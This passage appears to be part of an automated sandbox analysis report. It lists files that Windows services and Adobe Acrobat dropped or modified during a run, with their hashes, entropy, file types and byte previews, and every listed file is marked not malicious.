Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd14164f9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585499767736106
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	CC9AB27BBACC82D5B1C29D2406A89E15
SHA1:	14DCB70614F25CBD3DE6F4698EC3F160230D1C56
SHA-256:	58B3CEC7B9F055E7DCD6214B47C9D59A8B4EE98F81C8582225B4FD2D7F5672BD
SHA-512:	8AE153B8E4FD670A4F4B65D5F30156338A7FCCA79A89821040CEB5488BEDDC5F6661E4B3103D32CEF54BEADC053B15F12F3D7A8E4C233D222D6B1201AE883652
Malicious:	false
Preview:	.Ad.... ...............X\...;...{......................0.z..........{.......}].h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................._......}...................g.......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07971288443656788
Encrypted:	false
SSDEEP:	3:4uS6YeK+FkAkGuAJkhvekl16g//allrekGltll/SPj:4L6zErxlx/GJe3l
MD5:	B4C703672D82ED973C5580F99B64ABF0
SHA1:	815F4FE563DED12B4C4E063DE0FF4DD228B499C7
SHA-256:	5E6E79DAD84F12728E5296273E2EB70EF4379E6FDEF9896A82E965E4ED660C6F
SHA-512:	B221CDCDA9F18A1C612DFEFB5CBC67E9339EC79458AE635D232833664A54D024C366CA93CEE79E0475D879A70E3D43906A6068C751E2C218A95E584176B1F296
Malicious:	false
Preview:	+..v.....................................;...{.......}.......{...............{.......{...XL......{...................g.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1892236274111605
Encrypted:	false
SSDEEP:	6:iO4jbROq2P92nKuAl9OmbnIFUtSj/ZmwsjtkwO92nKuAl9OmbjLJ:7IbROv4HAahFUta//kt5LHAaSJ
MD5:	1805E1D91986A8269C9D8929667E3F39
SHA1:	55A46960B2E919739F38EDE6CC2E9A8C91E6D80B
SHA-256:	24F335342C903C4C93E610D4C70CF17F6D00D92936C756A1FA67515B8656A19C
SHA-512:	A7B13F8379BEF681DDA156B0784DBC28835F2023396E11899B88313FEBCF82846E1FAC2DDC38A401FF6223E8358F29FB998001D8C980B9DA3F281438AAE2F066
Malicious:	false
Preview:	2025/01/10-13:01:23.954 1804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:01:23.956 1804 Recovering log #3.2025/01/10-13:01:23.956 1804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1892236274111605
Encrypted:	false
SSDEEP:	6:iO4jbROq2P92nKuAl9OmbnIFUtSj/ZmwsjtkwO92nKuAl9OmbjLJ:7IbROv4HAahFUta//kt5LHAaSJ
MD5:	1805E1D91986A8269C9D8929667E3F39
SHA1:	55A46960B2E919739F38EDE6CC2E9A8C91E6D80B
SHA-256:	24F335342C903C4C93E610D4C70CF17F6D00D92936C756A1FA67515B8656A19C
SHA-512:	A7B13F8379BEF681DDA156B0784DBC28835F2023396E11899B88313FEBCF82846E1FAC2DDC38A401FF6223E8358F29FB998001D8C980B9DA3F281438AAE2F066
Malicious:	false
Preview:	2025/01/10-13:01:23.954 1804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:01:23.956 1804 Recovering log #3.2025/01/10-13:01:23.956 1804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1411352872573195
Encrypted:	false
SSDEEP:	6:iO4jgudm3+q2P92nKuAl9Ombzo2jMGIFUtSjuNZZmwsjuNNVkwO92nKuAl9Ombzz:7Ig/3+v4HAa8uFUtasZ/ksNV5LHAa8RJ
MD5:	3403DDEC2C749FA61CB3800F93EEFA19
SHA1:	C740236D9D48423AE4EE181652445FFE5D391525
SHA-256:	4A59FFC7FCF4CF71D7B38D00144EC30978153D18F0B08EC904BE9458207D0527
SHA-512:	3F0F60986E8635D1DE6AAB6029A5922479BF91E68F931CFBD596B1F772B93D36FCA19B975CE8821E4C162471BB5E1EE20FE802A01DE5AE11479EFDB04AD2A984
Malicious:	false
Preview:	2025/01/10-13:01:23.927 18bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:01:23.929 18bc Recovering log #3.2025/01/10-13:01:23.929 18bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1411352872573195
Encrypted:	false
SSDEEP:	6:iO4jgudm3+q2P92nKuAl9Ombzo2jMGIFUtSjuNZZmwsjuNNVkwO92nKuAl9Ombzz:7Ig/3+v4HAa8uFUtasZ/ksNV5LHAa8RJ
MD5:	3403DDEC2C749FA61CB3800F93EEFA19
SHA1:	C740236D9D48423AE4EE181652445FFE5D391525
SHA-256:	4A59FFC7FCF4CF71D7B38D00144EC30978153D18F0B08EC904BE9458207D0527
SHA-512:	3F0F60986E8635D1DE6AAB6029A5922479BF91E68F931CFBD596B1F772B93D36FCA19B975CE8821E4C162471BB5E1EE20FE802A01DE5AE11479EFDB04AD2A984
Malicious:	false
Preview:	2025/01/10-13:01:23.927 18bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:01:23.929 18bc Recovering log #3.2025/01/10-13:01:23.929 18bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.062060482476473
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgsBdOg2Hbcaq3QYiubxnP7E4T3OF+:Y2sRdswdMHi3QYhbxP7nbI+
MD5:	B0314E1E6AA147E5E995886411ACC522
SHA1:	F09CEBAE5B1A0B8B328BFE002860C44BA382DA78
SHA-256:	17919FD5AFA9FD829BF549C6B73CDA15291BDC0FA8ED70E0AB54407925F71565
SHA-512:	71C466AFA79936160FC1F8B1EDAFF165F0745D8D5ACAD8A6C267941EDF0144A93E9EF0D95A97F764137EF1EF1201E3539F981D7D78FE6F8C14F483F57C8BEF51
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092090845007","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":169593},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f099b99e-a5c5-4c36-b471-93bbbb5b13a1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.062060482476473
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgsBdOg2Hbcaq3QYiubxnP7E4T3OF+:Y2sRdswdMHi3QYhbxP7nbI+
MD5:	B0314E1E6AA147E5E995886411ACC522
SHA1:	F09CEBAE5B1A0B8B328BFE002860C44BA382DA78
SHA-256:	17919FD5AFA9FD829BF549C6B73CDA15291BDC0FA8ED70E0AB54407925F71565
SHA-512:	71C466AFA79936160FC1F8B1EDAFF165F0745D8D5ACAD8A6C267941EDF0144A93E9EF0D95A97F764137EF1EF1201E3539F981D7D78FE6F8C14F483F57C8BEF51
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092090845007","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":169593},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23800351018235
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUdaONgC:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLm
MD5:	BB4B6AAACE634B178872506815CB67F6
SHA1:	1CBE7016A4CCD205A2EE73FA9FA1B40791268D75
SHA-256:	94B41B6B4075734EE55AD4A28900D582C3B8B8E5D11990C2DF30476D6659E811
SHA-512:	660EC5C686496245E6E0E452DA0B5D38965D44F4E2A155AD2FD5EDCE07CFFAFFB6DAC52FD2D001E48DC8F69691FD844F88D90185787B774305BFDB974C94663F
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.172361902160406
Encrypted:	false
SSDEEP:	6:iO4jsxC+q2P92nKuAl9OmbzNMxIFUtSj/FZmwsjc3VkwO92nKuAl9OmbzNMFLJ:7I2C+v4HAa8jFUta/F/kc3V5LHAa84J
MD5:	B500385B200312CCEAAD4035B1FBE1A7
SHA1:	E12FA69445613F3633FA44337FF446663593798F
SHA-256:	9AC01E4F6587AD844F587A0B221172D3E9A78ECA46F5E8211DBB3E778848EB73
SHA-512:	19DCF8E2E62A82FD435B4685A733542A81E88C9F1F1D17C35B963FC670E02A2FBB1DFEFBB60789E37872F707E31C8945A2B7E93143D2DCE01A403A8D8BC0B0A8
Malicious:	false
Preview:	2025/01/10-13:01:24.387 18bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:01:24.433 18bc Recovering log #3.2025/01/10-13:01:24.463 18bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.172361902160406
Encrypted:	false
SSDEEP:	6:iO4jsxC+q2P92nKuAl9OmbzNMxIFUtSj/FZmwsjc3VkwO92nKuAl9OmbzNMFLJ:7I2C+v4HAa8jFUta/F/kc3V5LHAa84J
MD5:	B500385B200312CCEAAD4035B1FBE1A7
SHA1:	E12FA69445613F3633FA44337FF446663593798F
SHA-256:	9AC01E4F6587AD844F587A0B221172D3E9A78ECA46F5E8211DBB3E778848EB73
SHA-512:	19DCF8E2E62A82FD435B4685A733542A81E88C9F1F1D17C35B963FC670E02A2FBB1DFEFBB60789E37872F707E31C8945A2B7E93143D2DCE01A403A8D8BC0B0A8
Malicious:	false
Preview:	2025/01/10-13:01:24.387 18bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:01:24.433 18bc Recovering log #3.2025/01/10-13:01:24.463 18bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 4, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2934393247631806
Encrypted:	false
SSDEEP:	192:PedRBAWVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:PeVci5H5FY+EUUUTTcHqFzqFP
MD5:	9C574CBEAC54662BAB906F188F40B725
SHA1:	26BF774735A467524C6A910F8804F27C44C7EF18
SHA-256:	86374A001BDD7C75980B9465C1DED7C457EF96A8165DD82362A2A018B601EB60
SHA-512:	7395CDF32DD1EAE5720327305B63746C7F033A347589FF48568B5406DE2E62CEDC26FA206656550FB52831D030D26B5829D38339DEAF66F3303F2AE0F3266543
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2104649176248627
Encrypted:	false
SSDEEP:	24:7+ta0AwKKqLKzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzo:7M+KqOmFTIF3XmHjBoGGR+jMz+Lhl
MD5:	30C978026DF7FEE368C7E44670C4F70C
SHA1:	E69687F4801A9A2FF410966F7C4319116E67B911
SHA-256:	61FC13FFD113B584B2C128BBBFBAD4A5D75A68A1BB319432EC02310C0BE55F65
SHA-512:	FEDD09F9799CB972DB19B050EE0A0998049528EB21695FEDECFDA9CE39DFDC70714DE59559EFB4A6EB9C0CFA5A05BE266F044E5A8A214224F46F36A6CAE56289
Malicious:	false
Preview:	.... .c.......;+........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.743912490582081
Encrypted:	false
SSDEEP:	3:kkFkloxEKVltfllXlE/HT8kiHz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKxxEKPeT8DNMa8RdWBwRd
MD5:	F32F821C3876F8B90A4ED865E7D82F0C
SHA1:	CA2139BE9A4068BF295B802642287B036CBC4D3A
SHA-256:	FDE87339320FB0B7AF0C5BA42962293E3F10502531815D4D148B433E580BE851
SHA-512:	143E4D92BC4F9459A22B85C24D1EB90375A6BC63D84622FE19051B37B0BB1E8FC3026238C1FEB9C9D4F6B6B60ACA14610B68C9A26F1C9215EF492D31E0C5C4C3
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK1PL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ViDImsLNkPlE99SNxAhUe/3
MD5:	3BA9654C6C6C78D40DB512F8D44C4161
SHA1:	04B4A6663BE10E788CFA649EA02F7A5EBC39788A
SHA-256:	74527F4A1FC830747BD034AA944EDD79BDE1CA4A418198274CBF36177BE2CF17
SHA-512:	E7019485099D966B2504EEE5F0BCAFFF615047229EF6164D458C4A0E910875CD775D882642D9013CDC57F4FA89771ABCE9DFD297255B9E6606156978B52A878D
Malicious:	false
Preview:	p...... .........P..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.320

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
